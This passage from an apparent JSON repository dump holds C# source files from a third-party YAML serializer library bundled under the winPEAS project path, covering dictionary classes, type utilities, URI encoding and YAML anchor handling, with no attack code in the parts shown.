ItemsCollection: KeysValuesBase<KeyValuePair<K, V>>\n        {\n            List<KeyValue> list;\n            public ItemsCollection(RehashableDictionary<K, V> dictionary, List<KeyValue> list)\n                : base(dictionary)\n            {\n                this.list = list;\n            }\n            public ItemsCollection(RehashableDictionary<K, V> dictionary, KeyValue entry)\n                : base(dictionary)\n            {\n                this.list = new List<KeyValue>();\n                list.Add(entry);\n            }\n            public ItemsCollection(RehashableDictionary<K, V> dictionary)\n                : base(dictionary)\n            {\n                this.list = new List<KeyValue>();\n            }\n\n            public override int Count\n            {\n                get { return list.Count; }\n            }\n\n            public override bool Contains(KeyValuePair<K, V> item)\n            {\n                return list.Any(entry => entry.key.Equals(item.Key) && entry.value.Equals(item.Value));\n            }\n\n            public override void CopyTo(KeyValuePair<K, V>[] array, int arrayIndex)\n            {\n                foreach ( var entry in list )\n                    array[arrayIndex++] = new KeyValuePair<K, V>(entry.key, entry.value);\n            }\n\n            public override IEnumerator<KeyValuePair<K, V>> GetEnumerator()\n            {\n                foreach ( var item in list )\n                    yield return new KeyValuePair<K, V>(item.key, item.value);\n            }\n        }\n\n        /// <summary>\n        /// Try to find entry for key (and value).\n        /// </summary>\n        /// <param name=\"key\">key to find</param>\n        /// <param name=\"compareValue\">if true, value matters</param>\n        /// <param name=\"value\">value to find</param>\n        /// <param name=\"NotFound\">key not found</param>\n        /// <param name=\"FoundOne\">hash hit one entry and key found</param>\n        /// <param name=\"FoundList\">hash hit several entries and key found</param>\n        void FindItem(K key, bool compareValue, V value,\n            Action<int> NotFound,                                   // key not found\n            Action<int, KeyValue> FoundOne,                         // hash hit one entry and key found\n            Action<int, KeyValue, List<KeyValue>, int> FoundList)   // hash hit several entries and key found\n        {\n            FindItem(key, compareValue, value,\n                (hash) => NotFound(hash),\n                (hash, kv) => NotFound(hash),\n                (hash, kv) => FoundOne(hash, kv),\n                (hash, list) => NotFound(hash),\n                (hash, kv, list, i) => FoundList(hash, kv, list, i)\n                );\n        }\n\n        /// <summary>\n        /// Try to find entry for key (and value).\n        /// </summary>\n        /// <param name=\"key\">key to find</param>\n        /// <param name=\"compareValue\">if true, value matters</param>\n        /// <param name=\"value\">value to find</param>\n        /// <param name=\"NotFoundHash\">hash not found</param>\n        /// <param name=\"NotFoundKeyOne\">hash hit one entry but key not found</param>\n        /// <param name=\"FoundOne\">hash hit one entry and key found</param>\n        /// <param name=\"NotFoundKeyList\">hash hit several entries but key not found</param>\n        /// <param name=\"FoundList\">hash hit several entries and key found</param>\n        void FindItem(K key, bool compareValue, V value,\n            Action<int> NotFoundHash,                               // hash not found\n            Action<int, KeyValue> NotFoundKeyOne,                   // hash hit one entry but key not found\n            Action<int, KeyValue> FoundOne,                         // hash hit one entry and key found\n            Action<int, List<KeyValue>> NotFoundKeyList,            // hash hit several entries but key not found\n            Action<int, KeyValue, List<KeyValue>, int> FoundList)   // hash hit several entries and key found\n        {\n            var hash = key.GetHashCode();\n            object item;\n            if ( !items.TryGetValue(hash, out item) ) {\n                NotFoundHash(hash); // hash not found\n            } else {\n                KeyValue kv;\n                if ( item is KeyValue ) {\n                    kv = (KeyValue)item;\n                    if ( !kv.key.Equals(key) || ( compareValue && !kv.value.Equals(value) ) ) {\n                        NotFoundKeyOne(hash, kv); // hash hit one entry but key not found\n                    } else {\n                        FoundOne(hash, kv); // hash hit one entry and key found\n                    }\n                } else {\n                    var list = (List<KeyValue>)item;\n                    var i = list.FindIndex(i2 => i2.key.Equals(key));\n                    if ( i < 0 ) {\n                        NotFoundKeyList(hash, list); // hash hit several entries but key not found\n                    } else {\n                        kv = list[i];\n                        if ( compareValue && !kv.value.Equals(value) ) {\n                            NotFoundKeyList(hash, list); // hash hit several entries but key not found\n                        } else {\n                            FoundList(hash, kv, list, i); // hash hit several entries and key found\n                        }\n                    }\n                }\n            }\n        }\n\n        IEnumerator<KeyValue> GetEnumeratorCore(IDictionary<int, object> items)\n        {\n            foreach ( var item in items )\n                if ( item.Value is KeyValue ) {\n                    var kv = (KeyValue)item.Value;\n                    yield return kv;\n                } else {\n                    var list = (List<KeyValue>)item.Value;\n                    foreach ( var kv in list )\n                        yield return kv;\n                }\n        }\n\n        #region IDictionary<K,V> メンバ\n\n        public void Add(K key, V value)\n        {\n            AddCore(key, value, true);\n        }\n\n        public bool ContainsKey(K key)\n        {\n            V value;\n            return TryGetValueCore(key, out value);\n        }\n\n        public ICollection<K> Keys\n        {\n            get { return new KeyCollection(this); }\n        }\n\n        /// <summary>\n        /// Collection that is readonly and invalidated when an item is \n        /// added to or removed from the dictionary.\n        /// </summary>\n        abstract class KeysValuesBase<T>: ICollection<T>, IDisposable\n        {\n            protected bool Invalid = false;\n            protected RehashableDictionary<K, V> Dictionary;\n            public KeysValuesBase(RehashableDictionary<K, V> dictionary)\n            {\n                Dictionary = dictionary;\n                Dictionary.Added += DictionaryChanged;\n                Dictionary.Removed += DictionaryChanged;\n            }\n            public void Dispose()\n            {\n                Dictionary.Added -= DictionaryChanged;\n                Dictionary.Removed -= DictionaryChanged;\n            }\n            void DictionaryChanged(object sender, RehashableDictionary<K, V>.DictionaryEventArgs e)\n            {\n                Invalid = true;\n            }\n\n            protected void CheckValid()\n            {\n                if ( Invalid )\n                    throw new InvalidOperationException(\n                        \"Dictionary was modified after this collection was created.\");\n            }\n\n            static void ThrowReadOnlyError()\n            {\n                throw new InvalidOperationException(\"Collection is readonly.\");\n            }\n\n            #region ICollection<K> メンバ\n\n            public void Add(T item)\n            { ThrowReadOnlyError(); }\n\n            public void Clear()\n            { ThrowReadOnlyError(); }\n\n            public abstract bool Contains(T item);\n\n            public abstract void CopyTo(T[] array, int arrayIndex);\n\n            public virtual int Count\n            { get { return Dictionary.Count; } }\n\n            public bool IsReadOnly\n            { get { return true; } }\n\n            public bool Remove(T item)\n            { ThrowReadOnlyError(); return false; }\n\n            #endregion\n\n            #region IEnumerable<T> メンバ\n\n            public abstract IEnumerator<T> GetEnumerator();\n\n            #endregion\n\n            #region IEnumerable メンバ\n\n            System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator()\n            {\n                return GetEnumerator();\n            }\n\n            #endregion\n        }\n\n        class KeyCollection: KeysValuesBase<K>\n        {\n            public KeyCollection(RehashableDictionary<K, V> dictionary)\n                : base(dictionary)\n            { }\n\n            public override bool Contains(K item)\n            {\n                return Dictionary.ContainsKey(item);\n            }\n\n            public override void CopyTo(K[] array, int arrayIndex)\n            {\n                foreach ( var item in Dictionary ) {\n                    CheckValid();\n                    array[arrayIndex++] = item.Key;\n                }\n            }\n\n            public override IEnumerator<K> GetEnumerator()\n            {\n                foreach ( var item in Dictionary ) {\n                    CheckValid();\n                    yield return item.Key;\n                }\n            }\n        }\n\n        public bool Remove(K key)\n        {\n            return RemoveCore(key, false, default(V));\n        }\n\n        public bool TryGetValue(K key, out V value)\n        {\n            return TryGetValueCore(key, out value);\n        }\n\n        public ICollection<V> Values\n        {\n            get { return new ValueCollection(this); }\n        }\n\n        class ValueCollection: KeysValuesBase<V>\n        {\n            public ValueCollection(RehashableDictionary<K, V> dictionary)\n                : base(dictionary)\n            { }\n\n            public override bool Contains(V item)\n            {\n                return Dictionary.Any(entry=>entry.Value.Equals(item));\n            }\n\n            public override void CopyTo(V[] array, int arrayIndex)\n            {\n                foreach ( var item in Dictionary ) {\n                    CheckValid();\n                    array[arrayIndex++] = item.Value;\n                }\n            }\n\n            public override IEnumerator<V> GetEnumerator()\n            {\n                foreach ( var item in Dictionary ) {\n                    CheckValid();\n                    yield return item.Value;\n                }\n            }\n        }\n\n        public V this[K key]\n        {\n            get\n            {\n                V value;\n                if ( TryGetValueCore(key, out value) )\n                    return value;\n                throw new ArgumentException(\"Key not exist.\");\n            }\n            set\n            {\n                AddCore(key, value, false);\n            }\n        }\n\n        #endregion\n\n        #region ICollection<KeyValuePair<K,V>> メンバ\n\n        public void Add(KeyValuePair<K, V> item)\n        {\n            AddCore(item.Key, item.Value, true);\n        }\n\n        public void Clear()\n        {\n            var oldItems = items;\n            items = new SortedDictionary<int, object>();\n            hashes.Clear();\n            var iter= GetEnumeratorCore(oldItems);\n            while(iter.MoveNext())\n                OnRemoved(iter.Current.key, iter.Current.value);\n        }\n\n        public bool Contains(KeyValuePair<K, V> item)\n        {\n            V value;\n            if ( !TryGetValueCore(item.Key, out value) )\n                return false;\n            return value.Equals(item.Value);\n        }\n\n        public void CopyTo(KeyValuePair<K, V>[] array, int arrayIndex)\n        {\n            foreach ( var item in this )\n                array[arrayIndex++] = item;\n        }\n\n        public int Count\n        {\n            get { return hashes.Count; }\n        }\n\n        public bool IsReadOnly\n        {\n            get { return false; }\n        }\n\n        public bool Remove(KeyValuePair<K, V> item)\n        {\n            return RemoveCore(item.Key, true, item.Value);\n        }\n\n        #endregion\n\n        #region IEnumerable<KeyValuePair<K,V>> メンバ\n\n        public IEnumerator<KeyValuePair<K, V>> GetEnumerator()\n        {\n            var iter = GetEnumeratorCore(items);\n            while ( iter.MoveNext() )\n                yield return new KeyValuePair<K, V>(iter.Current.key, iter.Current.value);\n        }\n\n        #endregion\n\n        #region IEnumerable メンバ\n\n        System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator()\n        {\n            return GetEnumerator();\n        }\n\n        #endregion\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/TypeUtils.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nusing System.Reflection;\nusing System.Reflection.Emit;\n\nnamespace System.Yaml\n{\n    /// <summary>\n    /// Type 関連のユーティリティメソッド\n    /// </summary>\n    /// <example>\n    /// <code>\n    /// Type type;\n    /// AttributeType attr = type.GetAttribute&lt;AttributeType&gt;();\n    /// \n    /// PropertyInfo propInfo;\n    /// AttributeType attr = propInfo.GetAttribute&lt;AttributeType&gt;();\n    /// \n    /// string name;\n    /// Type type = TypeUtils.GetType(name); // search from all assembly loaded\n    /// \n    /// \n    /// </code>\n    /// </example>\n    internal static class TypeUtils\n    {\n        /// <summary>\n        /// Type や PropertyInfo, FieldInfo から指定された型の属性を取り出して返す\n        /// 複数存在した場合には最後の値を返す\n        /// 存在しなければ null を返す\n        /// </summary>\n        /// <typeparam name=\"AttributeType\">取り出したい属性の型</typeparam>\n        /// <returns>取り出した属性値</returns>\n        public static AttributeType GetAttribute<AttributeType>(this System.Reflection.MemberInfo info)\n            where AttributeType: Attribute\n        {\n            var attrs = info.GetCustomAttributes(typeof(AttributeType), true);\n            if ( attrs.Length > 0 ) {\n                return attrs.Last() as AttributeType;\n            } else {\n                return null;\n            }\n        }\n\n        /// <summary>\n        /// 現在ロードされているすべてのアセンブリから name という名の型を探して返す\n        /// </summary>\n        /// <param name=\"name\"></param>\n        /// <returns></returns>\n        public static Type GetType(string name)\n        {\n            if ( AvailableTypes.ContainsKey(name) )\n                return AvailableTypes[name];\n            Type type = Type.GetType(name);\n            if ( type == null ) // ロードされているすべてのアセンブリから探す\n                type = System.AppDomain.CurrentDomain.GetAssemblies().Select(\n                        asm => asm.GetType(name)).FirstOrDefault(t => t != null);\n            return AvailableTypes[name] = type;\n        }\n        static Dictionary<string, Type> AvailableTypes = new Dictionary<string, Type>();\n\n        /// <summary>\n        /// Check if the type is a ValueType and does not contain any non ValueType members.\n        /// </summary>\n        /// <param name=\"type\"></param>\n        /// <returns></returns>\n        public static bool IsPureValueType(Type type)\n        {\n            if ( type == typeof(IntPtr) )\n                return false;\n            if ( type.IsPrimitive )\n                return true;\n            if ( type.IsEnum )\n                return true;\n            if ( !type.IsValueType )\n                return false;\n            // struct\n            foreach ( var f in type.GetFields(\n                    BindingFlags.GetField | BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Instance) )\n                if ( !IsPureValueType(f.FieldType) )\n                    return false;\n            return true;\n        }\n\n        /// <summary>\n        /// Returnes true if the specified <paramref name=\"type\"/> is a struct type.\n        /// </summary>\n        /// <param name=\"type\"><see cref=\"Type\"/> to be analyzed.</param>\n        /// <returns>true if the specified <paramref name=\"type\"/> is a struct type; otehrwise false.</returns>\n        public static bool IsStruct(Type type)\n        {\n            return type.IsValueType && !type.IsPrimitive;\n        }\n\n        /// <summary>\n        /// Compare two objects to see if they are equal or not. Null is acceptable.\n        /// </summary>\n        /// <param name=\"a\"></param>\n        /// <param name=\"b\"></param>\n        /// <returns></returns>\n        public static bool AreEqual(object a, object b)\n        {\n            if ( a == null )\n                return b == null;\n            if ( b == null )\n                return false;\n            return a.Equals(b) || b.Equals(a);\n        }\n\n        /// <summary>\n        /// Return if an object is a numeric value.\n        /// </summary>\n        /// <param name=\"obj\">Any object to be tested.</param>\n        /// <returns>True if object is a numeric value.</returns>\n        public static bool IsNumeric(object obj)\n        {\n            if ( obj == null )\n                return false;\n            Type type = obj.GetType();\n            return type == typeof(sbyte) || type == typeof(short) || type == typeof(int) || type == typeof(long) ||\n                   type == typeof(byte) || type == typeof(ushort) || type == typeof(uint) || type == typeof(ulong) ||\n                   type == typeof(float) || type == typeof(double) || type == typeof(decimal);\n        }\n\n        /// <summary>\n        /// Cast an object to a specified numeric type.\n        /// </summary>\n        /// <param name=\"obj\">Any object</param>\n        /// <param name=\"type\">Numric type</param>\n        /// <returns>Numeric value or null if the object is not a numeric value.</returns>\n        public static object CastToNumericType(object obj, Type type)\n        {\n            var doubleValue = CastToDouble(obj);\n            if ( double.IsNaN(doubleValue) )\n                return null;\n\n            if ( obj is decimal && type == typeof(decimal) )\n                return obj; // do not convert into double\n\n            object result = null;\n            if ( type == typeof(sbyte) )\n                result = (sbyte)doubleValue;\n            if ( type == typeof(byte) )\n                result = (byte)doubleValue;\n            if ( type == typeof(short) )\n                result = (short)doubleValue;\n            if ( type == typeof(ushort) )\n                result = (ushort)doubleValue;\n            if ( type == typeof(int) )\n                result = (int)doubleValue;\n            if ( type == typeof(uint) )\n                result = (uint)doubleValue;\n            if ( type == typeof(long) )\n                result = (long)doubleValue;\n            if ( type == typeof(ulong) )\n                result = (ulong)doubleValue;\n            if ( type == typeof(float) )\n                result = (float)doubleValue;\n            if ( type == typeof(double) )\n                result = doubleValue;\n            if ( type == typeof(decimal) )\n                result = (decimal)doubleValue;\n            return result;\n        }\n\n        /// <summary>\n        /// Cast boxed numeric value to double\n        /// </summary>\n        /// <param name=\"obj\">boxed numeric value</param>\n        /// <returns>Numeric value in double. Double.Nan if obj is not a numeric value.</returns>\n        public static double CastToDouble(object obj)\n        {\n            var result = double.NaN;\n            var type = obj != null ? obj.GetType() : null;\n            if ( type == typeof(sbyte) )\n                result = (double)(sbyte)obj;\n            if ( type == typeof(byte) )\n                result = (double)(byte)obj;\n            if ( type == typeof(short) )\n                result = (double)(short)obj;\n            if ( type == typeof(ushort) )\n                result = (double)(ushort)obj;\n            if ( type == typeof(int) )\n                result = (double)(int)obj;\n            if ( type == typeof(uint) )\n                result = (double)(uint)obj;\n            if ( type == typeof(long) )\n                result = (double)(long)obj;\n            if ( type == typeof(ulong) )\n                result = (double)(ulong)obj;\n            if ( type == typeof(float) )\n                result = (double)(float)obj;\n            if ( type == typeof(double) )\n                result = (double)obj;\n            if ( type == typeof(decimal) )\n                result = (double)(decimal)obj;\n            return result;\n        }\n\n        /// <summary>\n        /// Check if type is fully public or not.\n        /// Nested class is checked if all declared types are public.\n        /// </summary>\n        /// <param name=\"type\"></param>\n        /// <returns></returns>\n        public static bool IsPublic(Type type)\n        {\n            return type.IsPublic ||\n                ( type.IsNestedPublic && type.IsNested && IsPublic(type.DeclaringType) );\n        }\n\n        /// <summary>\n        /// Equality comparer that uses Object.ReferenceEquals(x, y) to compare class values.\n        /// </summary>\n        /// <typeparam name=\"T\"></typeparam>\n        public class EqualityComparerByRef<T>: EqualityComparer<T>\n            where T: class\n        {\n            /// <summary>\n            /// Determines whether two objects of type  T are equal by calling Object.ReferenceEquals(x, y).\n            /// </summary>\n            /// <param name=\"x\">The first object to compare.</param>\n            /// <param name=\"y\">The second object to compare.</param>\n            /// <returns>true if the specified objects are equal; otherwise, false.</returns>\n            public override bool Equals(T x, T y)\n            {\n                return Object.ReferenceEquals(x, y);\n            }\n\n            /// <summary>\n            /// Serves as a hash function for the specified object for hashing algorithms and \n            /// data structures, such as a hash table.\n            /// </summary>\n            /// <param name=\"obj\">The object for which to get a hash code.</param>\n            /// <returns>A hash code for the specified object.</returns>\n            /// <exception cref=\"System.ArgumentNullException\"><paramref name=\"obj\"/> is null.</exception>\n            public override int GetHashCode(T obj)\n            {\n                return HashCodeByRef<T>.GetHashCode(obj);\n            }\n\n            /// <summary>\n            /// Returns a default equality comparer for the type specified by the generic argument.\n            /// </summary>\n            /// <value>The default instance of the System.Collections.Generic.EqualityComparer&lt;T&gt;\n            ///  class for type T.</value>\n            new public static EqualityComparerByRef<T> Default { get { return _default; } }\n            static EqualityComparerByRef<T> _default = new EqualityComparerByRef<T>();\n        }\n\n        /// <summary>\n        /// Calculate hash code by reference.\n        /// </summary>\n        /// <typeparam name=\"T\"></typeparam>\n        public class HashCodeByRef<T> where T: class\n        {\n            /// <summary>\n            /// Calculate hash code by reference.\n            /// </summary>\n            new static public Func<T, int> GetHashCode { get; private set; }\n            /// <summary>\n            /// Initializes a new instance of the HashCodeByRef&lt;T&gt; class.\n            /// </summary>\n            static HashCodeByRef()\n            {\n                var dm = new DynamicMethod(\n                    \"GetHashCodeByRef\",                 // name of the dynamic method\n                    typeof(int),                        // type of return value\n                    new Type[] { \n                        typeof(T)                       // type of \"this\"\n                    },\n                    typeof(EqualityComparerByRef<T>));  // owner\n\n                var ilg = dm.GetILGenerator();\n\n                ilg.Emit(OpCodes.Ldarg_0);                          // push \"this\" on the stack\n                ilg.Emit(OpCodes.Call,\n                        typeof(object).GetMethod(\"GetHashCode\"));   // returned value is on the stack\n                ilg.Emit(OpCodes.Ret);                              // return\n                GetHashCode = (Func<T, int>)dm.CreateDelegate(typeof(Func<T, int>));\n            }\n        }\n\n        class RehashableDictionary<K, V>: IDictionary<K, V> where K: class\n        {\n            Dictionary<int, object> items = new Dictionary<int, object>();\n            \n            Dictionary<K, int> hashes = \n                new Dictionary<K, int>(EqualityComparerByRef<K>.Default);\n\n            class KeyValue\n            {\n                public int hash;\n                public K key;\n                public V value;\n                public KeyValue(K key, V value)\n                {\n                    this.key = key;\n                    this.value = value;\n                    this.hash = key.GetHashCode();\n                }\n            }\n\n            #region IDictionary<K,V> メンバ\n\n            public void Add(K key, V value)\n            {\n                if ( hashes.ContainsKey(key) )\n                    throw new ArgumentException(\"Same key already exists.\");\n                var entry = new KeyValue(key, value);\n                object item;\n                if ( items.TryGetValue(entry.hash, out item) ) {\n\n                } else {\n                }\n            }\n\n            public bool ContainsKey(K key)\n            {\n                throw new NotImplementedException();\n            }\n\n            public ICollection<K> Keys\n            {\n                get { throw new NotImplementedException(); }\n            }\n\n            public bool Remove(K key)\n            {\n                throw new NotImplementedException();\n            }\n\n            public bool TryGetValue(K key, out V value)\n            {\n                throw new NotImplementedException();\n            }\n\n            public ICollection<V> Values\n            {\n                get { throw new NotImplementedException(); }\n            }\n\n            public V this[K key]\n            {\n                get\n                {\n                    throw new NotImplementedException();\n                }\n                set\n                {\n                    throw new NotImplementedException();\n                }\n            }\n\n            #endregion\n\n            #region ICollection<KeyValuePair<K,V>> メンバ\n\n            public void Add(KeyValuePair<K, V> item)\n            {\n                throw new NotImplementedException();\n            }\n\n            public void Clear()\n            {\n                throw new NotImplementedException();\n            }\n\n            public bool Contains(KeyValuePair<K, V> item)\n            {\n                throw new NotImplementedException();\n            }\n\n            public void CopyTo(KeyValuePair<K, V>[] array, int arrayIndex)\n            {\n                throw new NotImplementedException();\n            }\n\n            public int Count\n            {\n                get { throw new NotImplementedException(); }\n            }\n\n            public bool IsReadOnly\n            {\n                get { throw new NotImplementedException(); }\n            }\n\n            public bool Remove(KeyValuePair<K, V> item)\n            {\n                throw new NotImplementedException();\n            }\n\n            #endregion\n\n            #region IEnumerable<KeyValuePair<K,V>> メンバ\n\n            public IEnumerator<KeyValuePair<K, V>> GetEnumerator()\n            {\n                throw new NotImplementedException();\n            }\n\n            #endregion\n\n            #region IEnumerable メンバ\n\n            System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator()\n            {\n                throw new NotImplementedException();\n            }\n\n            #endregion\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/UriEncoding.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nusing System.Text.RegularExpressions;\n\nnamespace System.Yaml\n{\n    /// <summary>\n    /// Add string class two methods: .UriEscape(), .UriUnescape()\n    /// \n    /// Charset that is not escaped is represented NonUriChar member.\n    /// \n    /// NonUriChar = new Regex(@\"[^0-9A-Za-z\\-_.!~*'()\\\\;/?:@&amp;=$,\\[\\]]\");\n    /// </summary>\n    internal static class StringUriEncodingExtention\n    {\n        /// <summary>\n        /// Escape the string in URI encoding format.\n        /// </summary>\n        /// <param name=\"s\">String to be escaped.</param>\n        /// <returns>Escaped string.</returns>\n        public static string UriEscape(this string s)\n        {\n            return UriEncoding.Escape(s);\n        }\n\n        /// <summary>\n        /// Escape the string in URI encoding format.\n        /// </summary>\n        /// <param name=\"s\">String to be escaped.</param>\n        /// <returns>Escaped string.</returns>\n        public static string UriEscapeForTag(this string s)\n        {\n            return UriEncoding.EscapeForTag(s);\n        }\n\n        /// <summary>\n        /// Unescape the string escaped in URI encoding format.\n        /// </summary>\n        /// <param name=\"s\">String to be unescape.</param>\n        /// <returns>Unescaped string.</returns>\n        public static string UriUnescape(this string s)\n        {\n            return UriEncoding.Unescape(s);\n        }\n    }\n\n    /// <summary>\n    /// Escape / Unescape string in URI encoding format\n    /// \n    /// Charset that is not escaped is represented NonUriChar member.\n    /// \n    /// NonUriChar = new Regex(@\"[^0-9A-Za-z\\-_.!~*'()\\\\;/?:@&amp;=$,\\[\\]]\");\n    /// </summary>\n    internal class UriEncoding\n    {\n        public static string Escape(string s)\n        {\n            return NonUriChar.Replace(s, m => {\n                var c = m.Value[0];\n                return ( c == ' ' ) ? \"+\" :\n                       ( c < 0x80 ) ? IntToHex(c) :\n                       ( c < 0x0800 ) ? IntToHex(( ( c >> 6 ) & 0x1f ) + 0xc0, ( c & 0x3f ) + 0x80) :\n                       IntToHex(( ( c >> 12 ) & 0x0f ) + 0xe0, ( ( c >> 6 ) & 0x3f ) + 0x80, ( c & 0x3f ) + 0x80);\n            }\n            );\n        }\n        static Regex NonUriChar = new Regex(@\"[^0-9A-Za-z\\-_.!~*'()\\\\;/?:@&=$,\\[\\]]\");\n\n        public static string EscapeForTag(string s)\n        {\n            return NonTagChar.Replace(s, m => {\n                var c = m.Value[0];\n                return ( c == ' ' ) ? \"+\" :\n                       ( c < 0x80 ) ? IntToHex(c) :\n                       ( c < 0x0800 ) ? IntToHex(( ( c >> 6 ) & 0x1f ) + 0xc0, ( c & 0x3f ) + 0x80) :\n                       IntToHex(( ( c >> 12 ) & 0x0f ) + 0xe0, ( ( c >> 6 ) & 0x3f ) + 0x80, ( c & 0x3f ) + 0x80);\n            }\n            );\n        }\n        static Regex NonTagChar = new Regex(@\"[^0-9A-Za-z\\-_.!~*'()\\\\;/?:@&=$]\");\n\n        static char[] intToHex = new char[] { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F' };\n        static string IntToHex(int c)\n        {\n            return new string(new char[] {\n                '%', intToHex[c>>4], intToHex[c&0x0f], \n            });\n        }\n        static string IntToHex(int c1, int c2)\n        {\n            return new string(new char[] {\n                '%', intToHex[c1>>4], intToHex[c1&0x0f], \n                '%', intToHex[c2>>4], intToHex[c2&0x0f], \n            });\n        }\n        static string IntToHex(int c1, int c2, int c3)\n        {\n            return new string(new char[] {\n                '%', intToHex[c1>>4], intToHex[c1&0x0f], \n                '%', intToHex[c2>>4], intToHex[c2&0x0f], \n                '%', intToHex[c3>>4], intToHex[c3&0x0f], \n            });\n        }\n\n        public static string Unescape(string s)\n        {\n            s = s.Replace('+', ' ');\n\n            var result = new StringBuilder();\n            var p = 0;\n            int pp;\n            while ( ( pp = s.IndexOf('%', p) ) >= 0 ) {\n                result.Append(s.Substring(p, pp - p));\n                p = pp;\n                var c0 = ( HexToInt(s[p + 1]) << 4 ) + HexToInt(s[p + 2]);\n                if ( c0 < 0x80 ) {\n                    p += 3;\n                    result.Append((char)c0);\n                    continue;\n                }\n                var c1 = ( HexToInt(s[p + 4]) << 4 ) + HexToInt(s[p + 5]);\n                if ( c0 < 0xe0 ) {\n                    p += 6;\n                    var c = (char)( ( ( c0 & 0x1f ) << 6 ) + ( c1 & 0x7f ) );\n                    result.Append(c);\n                    continue;\n                }\n                var c2 = ( HexToInt(s[p + 7]) << 4 ) + HexToInt(s[p + 8]);\n                if ( c0 < 0xf1 ) {\n                    p += 9;\n                    var c = (char)( ( ( c0 & 0x0f ) << 12 ) + ( ( c1 & 0x7f ) << 6 ) + ( c2 & 0x7f ) );\n                    result.Append(c);\n                    continue;\n                }\n                throw new FormatException(\"Charcorde over 0xffff is not supported\");\n            }\n            return result.Append(s.Substring(p)).ToString();\n        }\n        static int HexToInt(char c)\n        {\n            return c <= '9' ? c - '0' : c < 'Z' ? c - 'A' + 10 : c - 'a' + 10;\n\n        }\n    }\n\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/YamlAnchorDictionary.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nnamespace System.Yaml\n{\n    internal class AnchorDictionary\n    {\n        Dictionary<string, YamlNode> Items = new Dictionary<string, YamlNode>();\n\n        struct RewindInfo\n        {\n            public RewindInfo(string anchor_name, YamlNode old_value)\n            {\n                this.anchor_name = anchor_name;\n                this.old_value = old_value;\n            }\n            public string anchor_name;\n            public YamlNode old_value;\n        }\n        Stack<RewindInfo> ItemsToRewind = new Stack<RewindInfo>();\n\n        Func<string, object[], bool> error;\n\n        public AnchorDictionary(Func<string, object[], bool> error)\n        {\n            this.error = error;\n        }\n        bool Error(string format, params object[] args)\n        {\n            return error(format, args);\n        }\n        public YamlNode this[string anchor_name]\n        {\n            get\n            {\n                if ( !Items.ContainsKey(anchor_name) )\n                    Error(\"Anchor {0} has not been registered.\", anchor_name);\n                return Items[anchor_name];\n            }\n        }\n        public void Add(string anchor_name, YamlNode node)\n        {\n            if ( Items.ContainsKey(anchor_name) ) {\n                // override an existing anchor\n                ItemsToRewind.Push(new RewindInfo(anchor_name, this[anchor_name]));\n                Items[anchor_name] = node;\n            } else {\n                ItemsToRewind.Push(new RewindInfo(anchor_name, null));\n                Items.Add(anchor_name, node);\n            }\n        }\n        public int RewindDeapth\n        {\n            get { return ItemsToRewind.Count; }\n            set\n            {\n                if ( RewindDeapth < value )\n                    throw new ArgumentOutOfRangeException();\n                while ( value < RewindDeapth ) {\n                    var rewind_item = ItemsToRewind.Pop();\n                    if ( rewind_item.old_value == null ) {\n                        Items.Remove(rewind_item.anchor_name);\n                    } else {\n                        Items[rewind_item.anchor_name] = rewind_item.old_value;\n                    }\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/YamlSerializer/YamlConstructor.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\n\nusing System.Collections;\nusing System.ComponentModel;\nusing System.Text.RegularExpressions;\nusing System.Runtime.InteropServices;\n\nnamespace System.Yaml.Serialization\n{\n    internal class ObjectActivator\n    {\n        Dictionary<Type, Func<object>> activators = \n            new Dictionary<Type, Func<object>>();\n        public void Add<T>(Func<object> activator)\n            where T: class\n        {\n            activators.Add(typeof(T), activator);\n        }\n        public T Activate<T>() where T: class\n        {\n            return (T)Activate(typeof(T));\n        }\n        public object Activate(Type type)\n        {\n            if ( !activators.ContainsKey(type) )\n                return Activator.CreateInstance(type);                              \n            return activators[type].Invoke();\n        }\n    }\n\n    /// <summary>\n    /// Construct YAML node tree that represents a given C# object.\n    /// </summary>\n    internal class YamlConstructor\n    {\n        /// <summary>\n        /// Construct YAML node tree that represents a given C# object.\n        /// </summary>\n        /// <param name=\"node\"><see cref=\"YamlNode\"/> to be converted to C# object.</param>\n        /// <param name=\"config\"><see cref=\"YamlConfig\"/> to customize serialization.</param>\n        /// <returns></returns>\n        public object NodeToObject(YamlNode node, YamlConfig config)\n        {\n            return NodeToObject(node, null, config);\n        }\n        /// <summary>\n        /// Construct YAML node tree that represents a given C# object.\n        /// </summary>\n        /// <param name=\"node\"><see cref=\"YamlNode\"/> to be converted to C# object.</param>\n        /// <param name=\"expected\">Expected type for the root object.</param>\n        /// <param name=\"config\"><see cref=\"YamlConfig\"/> to customize serialization.</param>\n        /// <returns></returns>\n        public object NodeToObject(YamlNode node, Type expected, YamlConfig config)\n        {\n            this.config = config;\n            var appeared =\n                new Dictionary<YamlNode, object>(TypeUtils.EqualityComparerByRef<YamlNode>.Default);\n            return NodeToObjectInternal(node, expected, appeared);\n        }\n        YamlConfig config;\n\n        static public YamlTagResolver TagResolver = new YamlTagResolver();\n\n        private static Type TypeFromTag(string tag)\n        {\n            if ( tag.StartsWith(YamlNode.DefaultTagPrefix) ) {\n                switch ( tag.Substring(YamlNode.DefaultTagPrefix.Length) ) {\n                case \"str\":\n                    return typeof(string);\n                case \"int\":\n                    return typeof(Int32);\n                case \"null\":\n                    return typeof(object);\n                case \"bool\":\n                    return typeof(bool);\n                case \"float\":\n                    return typeof(double);\n                case \"seq\":\n                case \"map\":\n                    return null;\n                default:\n                    throw new NotImplementedException();\n                }\n            } else {\n                return 